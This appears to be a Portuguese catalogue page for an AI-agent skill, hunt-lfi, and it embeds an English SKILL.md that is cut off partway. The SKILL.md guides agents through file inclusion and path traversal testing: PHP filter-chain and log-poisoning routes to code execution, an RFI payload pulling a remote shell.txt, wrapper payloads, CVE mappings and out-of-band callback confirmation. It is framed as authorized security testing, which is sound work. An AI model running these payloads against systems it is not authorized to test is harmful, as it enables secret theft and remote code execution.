hunt-lfi
O que ela faz
Esta skill testa inclusão local de arquivos, inclusão remota de arquivos e travessia de caminhos em aplicações web. Ela é para testes autorizados de páginas que carregam arquivos com base na entrada do usuário.
Quando usar
- ✓Quando uma página recebe um nome ou caminho de arquivo como parâmetro.
- ✓Quando um site PHP inclui arquivos com base na entrada do usuário.
- ✓Quando você quer verificar se o servidor devolve arquivos sensíveis, como arquivos de configuração ou de chaves.
Link da skill
https://github.com/elementalsouls/Claude-BugHunter/blob/main/skills/hunt-lfi/SKILL.mdCopie e cole na sua IA (Claude, ChatGPT ou Cursor) pedindo para seguir as instruções.
Como usar
O jeito mais fácil: copie a mensagem e cole na sua IA. Ela lê a skill e segue as instruções.
Mensagem pronta para colar
Para Claude Code, Codex ou Cursor: rode na pasta do projeto e a skill fica instalada.
Baixe o SKILL.md e coloque na pasta de skills do seu agente.
Exemplo do que pedir para a IA
“Nossa página PHP recebe um parâmetro de arquivo. Você pode verificar se ela consegue ler arquivos fora da sua pasta, no nosso teste autorizado?”
5 skills novas por semana. 1 minuto de leitura.
Como funciona
O agente tenta truques de travessia de caminho e wrappers do PHP e depois verifica se o servidor devolve o arquivo pedido. Ele informa leituras sensíveis e qualquer caminho para execução de código.
Conteúdo técnico (SKILL.md original)
Texto original do autor, em inglês, direto do GitHub.
HUNT-LFI — Local / Remote File Inclusion & Path Traversal
Crown Jewel Targets
LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (.env, wp-config.php, private keys, cloud creds), Medium when it only reads non-sensitive files.
Highest-value chains (in rough order of reliability in 2026):
- PHP filter-chain → RCE — the modern default. A bare
php://filterfile-read primitive is upgraded to RCE with no upload endpoint and no writable file by chainingiconvconversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed. - Log poisoning → RCE — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by
open_basedirand unreadable log perms, so verify the log is readable first. - PHP wrappers → source disclosure —
php://filter/convert.base64-encode/resource=index.phpleaks source; read source to find more LFI sinks, secrets, and the include base path. - RFI → RCE — when
allow_url_include=On,?file=http://OOB/shell.txtpulls and executes remote code. Rare on modern configs but trivially Critical when present. - phar:// deserialization — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.
- zip:// / data:// chains and session/upload poisoning when filters block wrappers.
OOB / Blind-LFI Confirmation Gate (Read First)
LFI is frequently blind: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do not claim LFI from indirect signals alone.
What is NOT confirmation
- A different status code or error string for
../../etc/passwdvs a normal value. The app may be string-matching../and returning a canned 403/500 without ever touching the filesystem. - Your input echoed back inside an error message (e.g.
failed to open '/var/www/../../etc/passwd'). That is the path formatter, not proof the file was read. A genuine read shows file contents, not your path. - A page that "looks different." Reflected-input or WAF block pages produce diffs unrelated to a real read.
What IS confirmation
- Direct read: actual file contents appear (real
root:x:0:0:line, real PHP source after base64-decoding the filter output). - Blind read via OOB exfil: use a php://filter or XXE-style chain whose payload performs a DNS/HTTP callback to your Burp Collaborator subdomain, or use an
expect:/// wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran. - Blind read via differential/timing: include a file you know exists and is large (
/etc/passwd) vs one that does not (/etc/passwd_nope_<rand>). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence.
Default workflow
- Pick a unique marker target: prefer a file whose content you can fingerprint exactly (
/etc/passwd→ grep^root:). For blind, use a php://filter base64 read and decode — partial/truncated base64 still decodes to recognizable source. - Generate a sub-tagged Collaborator payload per sink (
lfi-page.<collab>,lfi-tpl.<collab>) so callbacks identify which parameter fired. - Send, wait 30–120s, poll OOB.
- Claim LFI only after a content match, a Collaborator callback, or a stable triple-confirmed timing/length delta. Echoed paths and lone status-code changes are retracted.
Attack Surface Signals
URL / Body Parameters
?page= ?file= ?path= ?template= ?view= ?lang= ?module=
?include= ?doc= ?load= ?read= ?content= ?theme= ?layout=
?component= ?download= ?img= ?pdf= ?report= ?style= ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}
Technology Stack Signals
| Signal | Vector |
|---|---|
PHP (X-Powered-By, .php, PHPSESSID) |
php:// filter-chain RCE, phar://, zip://, data:// |
| Apache/Nginx logs readable | Log poisoning → RCE (verify readability first) |
Apache 2.4.49 / 2.4.50 (Server: banner) |
CVE-2021-41773 / CVE-2021-42013 traversal → RCE |
PHP-CGI on Windows (XAMPP, php-cgi.exe) |
CVE-2024-4577 arg-injection → RCE |
Java servlet (/WEB-INF/) |
WEB-INF/web.xml, classes/, application.properties |
| Pyth |
Perguntas frequentes
O que é travessia de caminho?
É usar sequências ../ em um caminho para chegar a arquivos fora da pasta prevista.
O que é uma cadeia de filtros do PHP?
A skill descreve isso como uma técnica que pode transformar a leitura de um arquivo em execução de código, sem precisar de upload.
Como a severidade é avaliada?
A skill diz que ler segredos, como arquivos .env, tem impacto alto, enquanto ler arquivos não sensíveis tem impacto menor.
Detalhes
Descrição original do autor
Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Covers OOB/blind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target.
Popularidade
- Estrelas no GitHub
- 5,4 mil
- Posição no ranking
- #14919
- Licença
- MIT
- Atualizada em
- 02/11/2026
Comentários
- …
Mais skills deste repositório
apk-redteam-pipeline
5,4 milAjuda seu agente a testar um app Android em busca de falhas de segurança, desde encontrar o arquivo APK e descompilá-lo até verificar segredos expostos.
bugcrowd-reporting
5,4 milAjuda seu agente a escrever relatórios de vulnerabilidade melhores para o Bugcrowd, escolhendo a categoria certa e respondendo a alegações de fora de escopo.
cloud-iam-deep
5,4 milAjuda seu agente a verificar o que uma credencial de nuvem encontrada pode acessar na AWS, no Azure ou no Google Cloud, durante um teste de segurança autorizado.
enterprise-vpn-attack
5,4 milAjuda seu agente a verificar equipamentos de VPN e de acesso remoto da Cisco, Fortinet, Citrix e outros em busca de falhas conhecidas, durante um teste autorizado.
Skills parecidas
reverse-engineer-anything
422 milAjuda seu agente a analisar apps e pacotes já publicados para explicar recursos, comparar versões ou orientar uma reconstrução, usando a ferramenta REA.
1password
394 milAjuda seu agente a configurar a CLI do 1Password, fazer login e ler ou injetar segredos sem imprimir seus valores no chat.
healthcheck
394 milAjuda seu agente a auditar o computador ou servidor que roda o OpenClaw em busca de riscos como SSH, firewall, atualizações e backups, com correções seguras.